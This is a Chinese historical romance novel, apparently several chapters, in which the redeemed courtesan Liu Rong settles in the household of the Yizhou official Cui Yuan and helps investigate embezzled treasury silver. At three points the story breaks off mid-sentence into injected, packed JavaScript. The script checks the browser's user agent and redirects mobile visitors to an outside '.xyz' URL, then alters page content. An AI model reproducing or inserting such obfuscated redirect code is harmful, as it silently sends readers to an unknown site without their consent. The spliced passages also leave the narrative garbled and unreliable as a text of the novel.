崔元指尖叩着桌缄然不言，不语便是示意她说。 哪知柳茸没说话，而是捧出一口螺钿漆盒，胭脂色的指甲扣开盒上玲珑金扣，玲珑珠光自狭小的盒缝中晰晰透出。 又是一口百宝箱。 她在贿赂他，她不怕贿赂他。 “我想公子帮我，赎出两位姊妹。” 乐籍非良人，不得自赎，不得赎人，自身财物反成引诱男人交易的诱饵。 毕竟替一名女子赎身，这名女子此前出卖色艺攒起的积蓄便会挂到赎身男子的名下，实实在在是块吊人的肥肉。 柳茸吃过哑巴亏。杜父占有她那些年，那些金银首饰一夜之间蒸发无影，她去讨说法，得到一句敷衍的被窃了。 次月，杜父一掷千金买了三名美姬。 而今，她的钱财仍然被用来赎人，却又不得不如此方能让姊妹脱离深潭。 这是没有出路的她们仅有的路。 崔元显然未料到她竟开出这样的请求，墨色的眉若天阑远山，“就不为你自己考量？” 柳茸看着室内陈设，笑得清浅，“今日得与公子同车，不已是为自己考量了吗？” 几步之隔，灯火里男子叩手的动作停了一息。 “如若可以，请公子带一把秦琴回。” “对你很重要？”崔元漠然的脸难得看过来。 “算是吧。” 琴是把老琴，弦音唯她调得准。它曾陪她渡过十年冬夏，在被教习打骂时它是她最好的朋友，登台搭戏时，它是与她相依相偎的搭档。 日子久了，它不再是一把琴，她心里，偷偷唤它叫：傅母。见证自己长大的傅母。 琴身上留过她指腹的鲜血、夜半垂的泪、还有不与人说的悄悄话。 那把琴陪她哀诉过，幽怨过，松了轴，裂了头，被一把更年轻的新琴取代。 院外江边，朦胧月色中恰如其时响起悠悠扬扬的丝竹，宛转呜咽，揪拽着人心，仿佛在应和着她的话。 一张白纸递到柳茸面前，崔元要她画下旧琴的形状，待柳茸取过笔墨，他没有留恋，出门而去。 几日后，小青和锦儿的身影出现在别院外，怀中抱着一把秦琴。 柳茸奔去与她们同聚，也接过那把琴。 锦儿是本地生人，双亲早亡，家里仅剩一个年迈的祖母在等她，朝柳茸道了谢便要回乡间与祖母团聚。 至于小青留在了别院，和柳茸一样，她没那么多家人。 沾着灰的琴杆落进手掌，柳茸缓缓合拢双手，将秦琴捂进怀中。 清晨一大早，她打了盆井水，换下琴身松动的琴轴。 水镜倒映着盛开的榴花。 益州近了，一条不一样的路在她眼前，如画卷，徐徐展开。 8. 益州 然而才到崔府，崔元就给了她个下马威。 仆人倒了茶。 良久，跪坐在次座的柳茸才听见头顶传来的声。 “崔府也不是什么人都收。” 原本给她赎了身就该无交集了。 几个家仆都是自幼跟着崔元的老人，年岁比他和柳茸加起来都大，其中一名老妪上前拎起柳茸的胳膊，崔元撇着碗盖呷茶，视而不见。 “躲什么，给你上药。”老妪移开柳茸格挡身前的手。 冰凉的药膏触到手臂上，疼意顿时减轻不少，卸秦琴时一根线崩然断裂，划伤了手臂，这点她连小青都没告诉。 她低眉顺目，细细等着药膏抹匀，偶尔因药膏凉辣抽动几下腕臂。 待药膏抹匀，堂上的人发话了，“想留在崔府就要守我的规矩，宵禁灭灯，过午不食，书阁禁入。” 想起前生他身陷囹圄时的肺腑情话，又望见此时堂上不显山、不露水的冷面，一股滑稽徒生，柳茸转低眼，掩住情绪，“知道。” 好半晌，崔元声色不动，放下茶碗，“你会什么？” “懂诗书吗？” 柳茸点点头，“自幼嬷嬷教过我。” “好，我说，你写。”他屏退众人，搁下一张纸，一支笔，一块砚。 未几，一篇请示帖缀着墨香而成。 落款、格式、起头……崔元逐一扫过，毫无错落，心中的怀疑又加剧几分。 就连官府的差役每次布告时也需几人审核，以免书面纰漏，一个从未踏出留春台半步的商伎初写竟熟稔老练。 帖子被利落一收，凌厉而探寻的眼风已经打到了柳茸身上，“你在何处学的？” 他生疑了。 柳茸一顿，搁笔的手微颤，“往日接待过一些官人……” 身旁动静寂了，她顺着说下去，语气比烟霞还淡，“耳濡目染便学会了些。” 几声鸟鸣过后，堂内静得出奇，崔元蹙着眉，于旁人看来，大抵是在嫌弃她的过往吧。 可他又偏偏问了一句，“你为了活下去一直什么都干吗？” 嗓音微涩。 他或许真想问的不是这个问题，但，不重要了。 “是。” 柳茸答得没有迟疑。 为了活下去，她什么都干，唯有此她无以自辨。是事实，不是么，不然杜攸之也不会存在。 没什么好否认的。 当眼前给你的菜只有一盘时，人就是不能挑食的。 贞洁啊、名声啊、清誉啊，在饿成皮包骨的人面前都没一碗热腾腾的糙米来得实在。 她看不见崔元潜在墨色眸子下的想法，不知他在想什么，直待岸头香炉都落下一大截断香，唤来府内管事。 “取东西来。” 东西看起来有些年头。 蜡黄的纸页、残裂的边缘，打横写着三个字——照身帖。帖主：柳氏女茸，籍：乐籍。 柳茸的手心稍稍淌出汗，沁湿了攥在手中的纸。 两世了，她第一次见到自己的照身帖。 从鸨母手中要回卖身契后，崔元顺带取了她的照身帖，交由她自己保管。 日头有点昏，她恍惚地收好，对那人道了声谢。 “此帖还予你，但官署备录你仍是乐籍。” 乐籍…… 柳茸眼中流过一丝失落的掠影，又很快收拾心情，喃喃地点头，“奴知晓了。” 崔元没再多说，只叫管事将她带下去安排。 末了，呷茶的手一滞，对她道：“日后对我不必用谦称。” “姑娘真实诚，放心，此地是崔府，不用谦称大人也是不会问罪的。”跟管事退出后堂，年迈的老人回过身子，笑意从褶皱溢出。 他是崔府老人了，随崔元调任前来益州，一路上半敲打半寒暄地跟柳茸提起长安的过往。 博陵崔氏数代宰执，子弟繁茂，受家训熏陶忠义孝悌，皆是儒门文士，可惜好竹生歹笋，崔元，恰好是个不忠不孝的种。 妄言民胜于君，不忠，忤逆本家叔祖，不孝。 大士族为免子孙遭人毒手、病折早夭，大多会刻意混淆年纪、性别，或拜道观佛寺挂名修行，崔元便是从小当女孩儿打扮庇养于深宅，养到了舞勺之年。 后大病一场，父母送入佛寺带发修行，佛寺旁有不少耕地，几年后崔府来接人，在田里寻到了拨土种麦的自家公子。 渐行渐远中，柳茸回望一眼，那身坐在后堂饮茶的白衣已消失在视野。 那个人很少谈自己的过去，每个人对他的评价都是寡言少语，但张嘴就能气死长辈，几次长安的崔氏来人都是说服他随族人站队，被崔元以农忙请了回去。 比起簪缨世家贵公子的盛气凌人，她印象里，是崔元采莲蓬回来沾着灰河泥的面容，头上还顶着一擎遮阳的荷叶。 管事唠叨了半日，略有惊讶，崔府不算小，新人多带着惧意打探观量，眼中是怕迷路的谨小慎微，可这位新来的女郎没有，仿若故地重游般平静。 “就送姑娘到这儿了。”将柳茸送到后院，他打算离去，听见清脆的女声回应他。 “刘管事，保重身体。” 她似乎看了自己好长时间，但她怎知自己姓刘？ 送走管事，柳茸坐在榻上，打量起了榻周不大却又熟悉无比的小院。 她的行李被工工整整打包在榻上，对门的房间属于厨娘秋姨，门外的天井中仆役们晾晒的衣物滴着水。 于崔元而言，自己只是个顺手带到崔府的人，自然不会有什么特殊的优待。 柳茸取出照身帖，轻嗅着边缘，看了又看，指甲陷进掌心肉里。她不仅要在这一刻活下去，更要在几年后的变乱中活下去。 很多很多的人是。 他也是。 * 在崔府做事的日子里，柳茸偶尔出去，经过糖铺走了几步路，一座吸睛的朱门宅邸檐角高飞闯入眼帘。 柳茸定在原地，徒然一抖，身子不禁开始幻痛起来。 那座宅邸，烧成炭她也认得，是贾侯爷的。 她做家伎时最煎熬、最不堪的记忆源自那座飞不进光的高门大院，源自里面不把人当人的贵胄。 身躯过去承受的折磨、贾侯爷暴怒时的嘴脸、统统追随着凌乱的记忆纷至沓来。 柳茸后退一步，一件清凉的物什抵住她摇晃的身形。 崔元放开支撑柳茸后背的斗笠，扶住险些眩晕倒地的人。 那张毫无血色的脸上，下唇咬得发白，明显不对劲。 “出事了？”他搭上她的脉。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好一个自己选的。杜攸之气笑，“崔刺史知道若我将她带回府中会如何？我会替她销籍从良，娶为杜家主母，而今她在你府上还是贱籍！” 崔元乜一眼，“你真确定你会给她销籍？” “不应该吗？” “听闻令尊光是前月就买了五名家伎，全脱籍了？果然是子肖其父。” 茶碗重重放落，杜攸之眼中全是崔元对子骂父的雠恨，“崔刺史不愧是崔氏子弟，博陵崔氏儒门文林，后辈当街强抢商伎，倒是家风清正。” “谬赞。”崔元纠正，“但不是我抢，倒像是柳姑娘拦街抢我。” 一句话刺中杜攸之，摆明了在提醒他柳茸是如何走的。 杜攸之干笑几声，抚平几近破音的语气，促长的眼眯起，“刺史大人既不纳妾，府中又无家伎班子，留她在府上，杜某实在看不懂，不怕人言毁刺史清誉？” “与我何干。” “杜攸之，她不见你，你说你不知是什么缘故？” 崔元起身，“因为你，的确不如我。” 9. 她是？ “这样说可以了？” 蜡炬半灺，崔元低眸问着纱衣垂地的女子。 白日的骚乱化作一摊泼出去的茶水，晒干散逸。 另一个男人的动静尚在崔府门外未走远，柳茸恍若未闻，提起皓腕理了理崔元的交领。 “公子说得很好。” 她在夸赞，夸赞她授意下他对杜攸之说的话。 崔元又问：“你真不去见他？” 柳茸一诧，微笑，“公子不是已经替我见过了吗？” 要是杜攸之见到自己，能想象，怕是更不肯放手，不见不可怕，见了要不到才更馋人。 邀月亭外，刘管事上前复命已送客归，但是杜攸之闹的阵仗不小，府周围有了闲言碎语。 崔元眉宇间严肃起来，命人封锁消息。 “你回答我，今日杜攸之的事府上有多少人知道？” “小青她们知道了。”柳茸如实相告。 “不要告诉更多的人。” “好，”她想说什么，嗫嚅着唇，“我不会让旁人评说公子的。” 哪知崔元来了句，“旁人如何说我是旁人的事。” “……我担心的是你。”凝眉的男人转过头来，注视着她，眉逐渐凝起，颇有几分无奈。 “杜巡使找来，免不了有人嘴碎，名声？”他眼中泛起自嘲，“对我没什么用。” “何况他们说的是实话，我确实在勾栏院和杜攸之对峙，但你，”顾虑的目光错落在柳茸身上，“你不怕受影响？” “我本来就是乐籍啊公子。”这点闲言碎语，柳茸早已免疫。 崔元如遭一棒，从自言的幻境中拖回现实，“是啊，差些疏漏了，你不是良籍。” “杜攸之有一点说得不错。”他倚向廊柱观水，背对着她。 “我留你在府上，一不纳你二不娶你。没替你脱籍，你怪我吗？” 柳茸没想到他主动提起脱籍，心突跳了下，很快恢复笑容，“公子的行事自有公子的道理。” 言下之意，她不在意。 崔元回头望过来，在她脸上找寻着粉饰的痕迹，最终斟酌开口。 “我不能娶你。” 一语落，柳茸意料之中，心境奇异地平素，高门士族最重门第，不意外。 但亲耳听人从口中说出，还是像一根小银针刺进了绵里。 不疼，就是莫名会感到一根针而已。 娶妻纳妾是最便利的脱籍契机，凭此脱籍不难，她能想到，崔元不会想不到。 “因为我是乐籍嘛。”柳茸笑着寒暄。 跟着杜攸之、贾侯爷时，自己也曾雾里看花地期望过以后宅作踏板，谁让那是一条普世公认女子最速达最享福的捷径，当真走过一趟了才晓得，捷径通往的，往往是更狰狞的泥泞。 这样的期望昙花一现，早被她掐死心底。 现在的她不想重复走过的歧路，也没构想眼下的路要通往何方，如何落脚倒是有了着落。 或许先脱个乐籍，爬得比现在高一点点？ 嫁人从良的幻想，她放下了，放下了，也就能一身轻地当谈心聊起。 然崔元道：“是因为我。” “是因佛门戒痴戒色吗？” 他凛色瞥过来，柳茸不慌不惧地解释，“府里的老人说公子幼年师从佛门。” “佛门是佛门的事。” 这下柳茸听不懂了，直到清酒般的声音再次进耳。 “你若非心甘情愿与我共度，便是我趁人之危，我若只因成亲而成亲，便是负了我未来的妻子，所以，我不能娶你。” 酉时的打更声喊过三巡，一颗菩提落入柳茸心脉。 “公子，”她开口问，心中已然有了揣测，“你是不是想出了我的脱籍之法？” 此前在府中帮忙代笔的种种、初来时被派去整理一堆“难分难舍”的卷宗、都不似分给普通婢女的活。 一个念头在心里萌芽。 前朝的蜀地，有过一代名妓，因才情以清客身份入主家幕府，后被请奏封校书郎，虽迫于旧俗被驳回，却准许脱了贱籍。 她想，她和崔元想到了同处。 崔元没有否认，“益州从前积敝旧案颇多，明天收拾好东西，随我去。” 灯火渐熄，他的眉眼仅靠月色照着，笼上一层惨白的霜色，惨白地有些熟悉。 柳茸怔神了下，想不起在哪见过。 “公子，我们可曾见过？” “从未。”他拦衣起身，步出邀月亭。 “那你，为何愿意帮我？” 素白的身形顿了顿，“因为我是官。为官佑民，为政亲人，自是常理。” 见她疑惑怎么端的说起为官之道，崔元的神宇柔和了些，“你也是万民之一。” 她也是民。 无论勾栏商伎、姬妾婢仆，同属万民。 柳茸缓悠悠落座，眼神清浅。见多了被攒爱民如子却妻妾成群的官，习以为常后，连她自己也时常理所当然将自己排除在民的范围内。 那些惠民及利的布政永远纵马掠过，忽视她们。她们不是人。 进勾栏院喝花酒的不乏先天下忧而忧的名官，高谈阔论着哀民生之多艰，杯中酒斟个不停，涕泗涟涟叹百姓实苦，怀中倚红偎翠家伎照买不误。 过往觉矛盾之处茅塞顿开，柳茸潜心自在梳理着心结，另一疑窦又生，为何谁当天子都不愿用崔元这般的循吏呢？ 天子九五至尊，目望不到民间，五位夺位的皇子也金枝玉叶，平生尝过最苦的怕只有御医的药汤，任谁即位也不过是维持原样，宫中水娇，养不出百姓渴求的君主。 若自己是天子…… 念头萌发一秒，柳茸迅速拍散，默念着大不敬。 这夜的风很安静。 比翌日晒脱皮的日头好多了。 柳茸是这么想的。 毕竟谁能想到崔元说的整理旧案竟真是边下地边探查。 天热得很，遮阳挡不住的热，两条臂膀快被闷成蟹肉。 她抱着半人高的“竹夫人”，倚在树荫下守卷宗。 民情体察累了，崔元从田里翻身上来，坐在草席歇息，抬着晒红的脸与她说事。 录事官放值不在，稻禾香里，柳茸便是录事。 翻土的草味暖暖漫在暑天里，和墨香混杂，仿佛回到了前世最惬意的时候，那时他们也是如此，在田野吃着石榴。 那时他是不是已想好自己脱贱籍的法子了呢？ 可惜死人开不了口告知答案。 崔元发现她的目光，放下唇边的葫芦水瓢，薄唇冷峻，唇珠饱满，水珠挂在反差鲜明的一张唇上，凝聚下颌，沿顺着脖颈脉络下滑，在白衫与前胸相交之地沁成微小的阴影。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763442|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你想喝？”他递过水瓢，柳茸舀了一瓢饮下。 “这不是水？” “我加了凉药。”崔元撇开外衫，叠整放在树下。 田里的老农吆喝着新来的小伙继续搭把手，崔元应了声，不一会儿，白色的中衣也解落在地。 柳茸识趣地移下眼珠子，数滴珠液或是汗，随主人除衣的动作滴在褐黄的地上。 想来是刚刚划过下颌的瓢水，因为无意溅在她胸前的，是清凉的，加了凉药。 俯下头，半红半百的肌肤间，沾着碎晶状的小水珠，凉意消褪，她抽巾擦去。 水牛哞哞叫着，崔元在日头落山时又坐了回来，穿好衣物，回府头一件事便是听柳茸整理的卷宗总结。 益州很大，光是锦城便不可能凭一个人查完全部政务，崔元事事亲为也有做给底下散漫的官吏看之意，上头动了，下属方神色紧张地跟着勤快。 崔元仔细听着每一份卷宗，偶尔神容不悦，硬生生地评事。 “京师调拨的帑银限他们五日算清，算不清者，按贪墨论。” 每当府中夜灯寂寥时，唯一亮着的那盏便是崔元书房的灯火，柳茸掌着灯，看他挽着袖笔笔落下的润墨，暗自将事物记在心。 二更天，府内已起鼾声之时，烛火一分为二，隔着莲花池往相反的方向点亮两间房。 随后，是彼此的沐浴水声。 五子夺位的事愈演愈烈，所有人都说不出一年就能尘埃落定，轻快的气息里，柳茸心底打起了鼓。 看向崔元，他的气宇漠然不关己，目光凝在益州的粮仓收成上，眼睫似一片片稻田浓密。 “看着我做甚？”崔元注意到她的目光。 “我在想，往后的天子是公子一般的人物就好了。” 他讶异地笑了，“我不适合做天子。” “那公子可有人选？” “你试探我？”崔元收起笑意。 “我说笑的。”柳茸知自己说错了话。 “除非能令我心服口服，我才会择人为主，那五个人，”说话间，他略微鄙夷，“还做不了我的主。” 前世，他宁在牢中触墙而死也不愿从服任何人，但柳茸知晓后果，凭崔元倾尽全力稳住的益州亦会随他的死打破宁和。 她还想活下去，不想跟着同死。 可她该如何告诉他？如何劝？ 她想思来想去，心绪逐渐浮到了脸上。 “阿茸。”崔元少见地如此亲昵地唤自己，柳茸一个抬首。 “有酒吗？”他眉眼微弯，舒缓着僵持，接过烫酒走到廊下醉饮。 前尘往事又入梦，稻田、丰邑没有了水，变成干裂土地，长不出一颗谷物，她混在讨饭的队伍里，和多年前一样要着最后一碗粥。 柳茸又被惊醒，翻来覆去睡不着。 崔元不会改变心意的，益州刺史崔子白不会站队任何一位夺位的皇子——她很清楚。 哪怕将前尘说与他听，他也不会妥协半步，不会向最后的赢家燕王示好。 柳茸的心笃笃响着，她也曾在做事时旁敲侧击，没有用，难道要这样看着重步前尘？ 荷叶在风下相倾，她伸出两指，叩响了崔元的寝屋。 门开了，里面的人湿着半身，大概方才出浴，衣摆侧残留着一团揉皱的褶皱，像是经过攥紧又松开般，看见她的脸，略微愕然。 10. 怪梦 好半晌无话。 “睡不着吗？”崔元的发梢滴着水， 他眼底瞬息间的暗涌未逮掩藏，夜气一漫，和水雾划归于无，仿佛方才的慌神只是错觉一场。 柳茸半只脚跨进门槛。 “别进去。”崔元冷声拽住她，“就在此地说。” 屋内的灯光被屏挡，她这才注意到，挡在身前的人亵衣上不和谐的褶皱，像被手揉过的团花。 “我替公子取熨壶来。” 崔元想制止她，不消半刻人已提着冒汽的熨烫壶亭亭立在门边，豆粒大的油灯在屋内奄奄熄灭。 待油灯重新亮起黄豆般的火，崔元换了身干爽的新衣，屋内被简单收拾了下，崔府陈设简略，三页屏风隔开浴桶，氤氲的水痕还是从木屏底湮流了出来。 “你还会熨衣服？” 崔元跂坐案边，望着伏案熨亵衣的女人。 曛黄的光打下来，她的背影如一屏玉山。 看了片刻，他往胯间随意盖了层白巾，“玉山”恰时回头：“我第一次熨。” 商伎不亲自洗衣做饭，衣物交由勾栏院的龟奴、侍女打点，那名叫“阿宝”的小龟奴每日鸡鸣便烧上一壶水，替她熨衣，柳茸隔着镂花窗下眺，见他冲自己一笑。 看多了别人熨衣，照猫画虎模仿下不难。 “无事不殷勤。”崔元轻声道，话虽硬，却没有任何责备的愠怒，反倒有些温缓，只是今夜这温缓比平日更为软些。 “下次不要夜半闯我房，我立的规矩不是死的。” 崔府规矩之一，宵禁灭灯。除非公务在身，宵禁后不得点灯随意走动。 柳茸蜻蜓点水般揽起亵衣，“衣服熨好了，公子要穿吗？” “放着。”崔元叹了口气，“找我什么事？” 她咽咽喉，终于开腔：“今夜同公子的谈话，我放不下。” “公子，你说过我也是万民之一，此话还作数？” 崔元刚要拒，听见她的话息声片刻，“……作数。” 轻盈柔软的事物裹住他的指尖，崔元朝下一看，是她的掌心，她笑得柔媚，“那身为州官，不该听一听生民的想法吗？” 崔元指尖木然，僵了一刻快速抽回，直截了当，“我不择任何一王为主。” “我没想劝公子择任何一人为王，只是……”她的手勾来，挑开他碍事的无名指，“若公子不想择木而栖，就要在益州早做打算。” “你想说什么？”崔元眯着眸。 覆盖的手随铃音般的笑撤去，如潮汐退潮，取而代之的，是根凉竹状的物体塞入崔元二指中。 “白日在录事的卷宗上发现了些小问题，想请公子重下一令。” 崔元定睛一看，手中是跟笔杆子，“你只是来递笔的？” 柳茸点头，他低头视着笔，轻搁回案上，“卷宗有什么问题？” “京城年年拨至益州的帑银调度都有记录，可是仁平三年至五年的却消失了，提注是连备本也失火烧了。” 相信崔元一早意识到出了何事。 “你怀疑有人贪墨？”崔元察觉到她的暗指，他不是没揣度过。 “公子虽不择王，但手下若有这样的人，怕是最喜欢‘良禽择木而栖’的。” 崔元为官清廉，不站任何一队，对百姓而言，他是一位好官，但对官场同僚而言，他是个没有把柄的人。 没有把柄便不受人钳掣，也即意味着他不会是自己人，不是自己人的人坐在上位，底下的贪墨之官无不盼他倒下，必然愿与其他肯分利的势力里应外合。 官清似水，也难逃下方吏滑如油。 柳茸报出往年管理帑银调拨的人名，见他眉头紧锁起来。 “公子有疑虑？” “这些人我已派人手去交涉，今夜刚呈的报。”一本禀帖甩在案上，崔元揉起眼眶骨，“没一个能用的。” 崔元来益州带了些自己的人过来，本地官僚见到博陵崔氏也会给几分面子，但不是打哈哈就是圆滑避来避去，加之陈年旧事死无对证，姿态是千低万低的，事是行进缓慢的。 柳茸合上禀帖，“倘若我能帮公子要到私吞的帑银呢？” 崔元睁开眼，目如寒星，与她两相对望。 柳茸垂着眼，“我出身勾栏院，平常去接待的三教九流、官差府吏什么样的人都有，如何与这些人周旋的手段自是也学了一二。” 听见勾栏院三个字，崔元唇齿翕动，他的目光聚在女子空落落的袖侧，腕很细，几近无肉，再往上，她的肩膀竟瘦削至此。 如荒年尽头、颗粒无收的麦田里啼哭的孩子，抖擞的肩膀一拆就散，是那么无力，撑不起一片飞鸿。 崔元道：“派去的人可都是谙熟官场的吏员。” 她垂下的眼抬起，“我也不一定比他们差。” 柳茸知晓，摆在眼前供自己挑选的机会从来是很少的，上天对她的垂怜吝啬到几乎没有。 哭没有用，想没有用，等人派事也不定等到何年何月，她不自己求，不自己动，便要等上更久的时间。 “公子既不信我又何故留我做事，即信我又何必疑心我？” 崔元一时无话。 “若公子只是一时兴起实则本无意柳茸插手，不过是当陪侍，哪日腻了、尝够教伎子学书的乐趣了，便让柳茸自请出府，去寻活路。” 崔元的脸色越来越黑，听到最末一句，眼神锋利，“去哪儿？” 她落寞道：“哪里有活路就去哪儿，大不了回勾栏院，公子卖了我还能换些……” 气息被打断，柳茸拿下摁在嘴上的文书。 “不必以此事吊着我，即使公子直说我也……” 她的唇被捂住，崔元没收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763443|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力道，连鼻一块捂了，等手臂传来轻捶的力道才发觉自己的手占了她大半张脸。 口鼻重新通畅，柳茸顺着气，上方传来崔元的声音，“这可是你自己说的。” 自己？说的那句话？ 她吐开吸入口中的青丝，“公子要卖我？” “说了帮我要到私吞的帑银，”他给她这个机会，“时限半月。” 半月太短了，柳茸讨价还价，“一月。” “十日。” 她按住他的衣袖，“那便十日，公子答应我的。” “十日之内，我派府兵跟着你，府内府兵任你调遣，若十日事未成，”崔元看着那段瘦削的臂膀，“不要在那些人宅院作逗留，也不要动武。” “若事成呢？”柳茸问。 “论功行赏。” 她摇首，“事成之后，我不要公子任何分赏。” “——唯愿早脱乐籍。” 那还是横在她心头的一把刀，她几辈子想挣脱的铁笼。自由在天地间，归尘归土，那是她被卖后幻想过的梦，是儿时过到乏味的日常。 失去过，才比寻常人更为执念。 灯火凄清下去，柳茸离开屋门时，崔元念念着她最后的话。 “唯愿早脱乐籍……” 说出此话时，她的容色似淬火里捞出的灼玉，渴念、不甘、静谧中紧凝着欲求，让他想起漠北草原见过的骏马，疾驰向水源，心无旁骛，眼中映着万里绿茵。 或许她本就该如骏马般奔驰在这片大地上。 究竟是何等遭遇才另一个女子瘦骨嶙峋至此？她之前的生活一定过得不好。 她在指尖的弹拨、覆上手背的掌心，轻佻中带着旖旎，那是要经历多少男人才练就地熟稔自然，他们昔日对她好吗？ 崔元摇摇头，怕是不好。 不然便不会一举一动张弛自如，熟练到看着心疼。 他朝□□望去，一言不发捡起掉在地上的白巾，扔进热气散尽的浴桶，反正水已脏了。 事务劳心时崔元会着衣在水中多泡片刻，半梦半醒，而后被积案的公牍、青黄不接的粮仓给惊醒。 但今夜惊醒他的却是一道女子的鸾影。他梦见杜攸之，梦见她，梦见她未被赎身时在留春台上与之缠绵。 留春台外稀奇古怪地变成自己幼年长居的寺院。 他起初视而不见，坐在蒲团打坐，敲鱼念着心经，门内的声响愈烈，他口中的佛经愈密，似乎这样就能听不见，敲着敲着，身下的蒲团变成了她。 情到浓时两声叩声将他唤醒。 那场水中的梦，留下一摊淤泥就灵蛇钻洞般隐逸不见。 崔元惊异自己怎么会做这种梦，痛斥着自己，无由来地荒唐、厌恶又不住回甘。 开门，好气又好笑。 才做一场荒唐梦，梦中人便出现在门外。 11. 拜佛 心情雀跃地整装待发，柳茸向刘管事领了张调用凭证，带着小青便往府兵操练的校场上赶。 临走前秋姨不放心，给每人都备了满当的肉饼。 小青提溜着眼珠子看柳茸手中凭证，“这和姆妈使唤龟奴有差么？” 她在故意激自己。 柳茸也不恼，“这可比姆妈使唤龟奴管用多了。” 一听比鸨母使唤龟奴还灵，姑娘似懂非懂地高看了几眼。 来益州多时，小青不像初来时抗拒，但心里仍在嗔怪，在勾栏院接客包不准能图撞个富贵公子，如今身无分文被赎出来，和叫人记不住脸的丫鬟下人有何分别？ 她怪着柳茸，自顾自赎自己出来。 “就不能不辛苦、不努力也能过得好吗？”每次柳茸教她学字，她都瘫躺着努着嘴。 “以前多好，躺在榻上动几下那些猪一样的男人们大把大把交钱！” 柳茸轻掌她一嘴，警告她再说罚抄书。 “阿姊你看，府兵竟有女子！”小青指着校场上正在弄枪的府兵，“她好壮硕啊，我从未见过如此腰粗的女子。” 府兵旨在护送崔氏子弟与维护阖府安危，气宇间便要震人，能担此任的女子必不可能弱不禁风。 这次调派府兵本不用柳茸亲自来，而是默认抽调，是柳茸提出了亲自过目。跟崔元做事久了，她悄悄偷师，学着亲力亲为。 如今是试一试的时候了。 她从校场亲自抽人，一眼相中了那名女兵，正要问名字，一阵骚动，几十双齐刷刷望向马厩。 原是校场挨着马厩，小青孩子心性，看到马匹忧郁一扫而空，兴冲冲想去喂马，生人靠近，府上的马见不是主人，撂蹄子将姑娘吓哭。 被人搀扶起时还抽噎着，“我不过是想骑马。” “小鸡仔可骑不了马。” ——高亮的女声，是那名被点出列的女兵，她的容貌略带异域，肤色如麦，红扑着脸一笑，多肉的嘴角咧开八字纹。 “再吃壮点你们就能骑马了。” 小青愣了愣，呜咽出声，“阿姊，她咒我们胖。” “胖点多好，”女兵一脸理所当然，“你们两个太瘦了，秋姨不给你们饭吃吗？” 秋姨听罢，气得回屋抄了几盘大锅菜。 女兵走向柳茸，“你就是阿脏带回来的人？” “阿脏？”柳茸对不上名字。 刘管事？浣衣的吴孃孃？半天才反应过来是最不可能的崔元。 “是啊，阿脏，”女兵拍干净手，一面示范着如何喂马，一面闲聊，“他当初流浪到我们部落时可脏了，我阿父洗了三日才洗干净他。” 柳茸：“刺史流浪过？” “说是他那光头师父的要求，他醒了就开始和我父亲探讨佛法，我阿父还挺喜欢他的。”女兵亮出脖子上挂着的佛牌。 “但后来我阿父就不喜欢他了，他老说些利民啊、大同啊，听不懂，也没人理他，”女兵目光转向柳茸，似感官迅敏的狮子，“我觉得你能听懂他在讲什么。” 柳茸盈盈一笑，“还没问女郎姓名。” 没人不喜欢美人冲自己笑，这笑女兵很受用，“我叫叱罗红花，我们那儿好看的姑娘都叫红花。” 红花喜欢骑马，骑腻了草原的马儿，父亲托故交崔元给她谋份好差事，来做崔元的府兵，骑中原的马。 “小青，你从前见过刺史大人吗？”柳茸望着不远处，一片昏鸦飞过官署，稍带斜阳。 那双远山样的眉眼，似在何处窥过，可如此有印象的人，自己若见过，断不会忘。 “见过。”小青舔着红花送的糖人。 柳茸淙淙目光移过来，静听她的回答，听得她咂巴了下嘴，“前日刚见过。” 闭目，不气，“没事了，走罢。” 她今日走街串巷，探查了不少实情，待明日，就要正式敲门“拜访”。 各州向京城献贡赋，国库也会调拨帑银补济各州，可总有那么多烂账坏账难查，帑银用了、少了记得含糊其辞、不清不楚，最终不了了之。 仁平三年至五年，益州的帑银不知用在了何处，也不知去向，当时记录的录事官也病故，追查起来确实难。 分明锁定了几方官吏，但对方开门迎客，摆足了能奈我何的架势，见来的不是刺史是柳茸，更加小觑。 “早听闻崔大人身旁有位女伴读红袖添香，今日一见真真冰肌玉骨。” 李员外谄笑着，话里话外喝花酒般的调戏，一只手有意无意伸向柳茸的皓腕揩油，被崔府府兵一棍劈挡。 “女郎这是何意？” 柳茸轻放茶盏，红花一干人动手将李员外五花大绑。 “去搜酒窖。”她嘱咐。 “你们做甚！刺史的人就能为所欲为吗！无凭无据你们凭什么抓人搜家！我要上报刺史！” 柳茸不为所动，“等找到了员外贪墨的帑银，我自向刺史大人请罪。” “血口喷人！我家何来帑银？” 搜家府兵仔仔细细里里外外翻了个遍，就差没审问屋顶的脊兽。 一无所获。 人被松绑，李员外怒气冲冲要找崔元讨说法。 “真难听的话！”红花想起李员外招待时的话，刀磨得更锋了。 扭头一看，柳茸淡然饮着茶，她疑惑，“那人方才如此调戏你，你不生气？” “没什么的，再难听的话我也受过。” 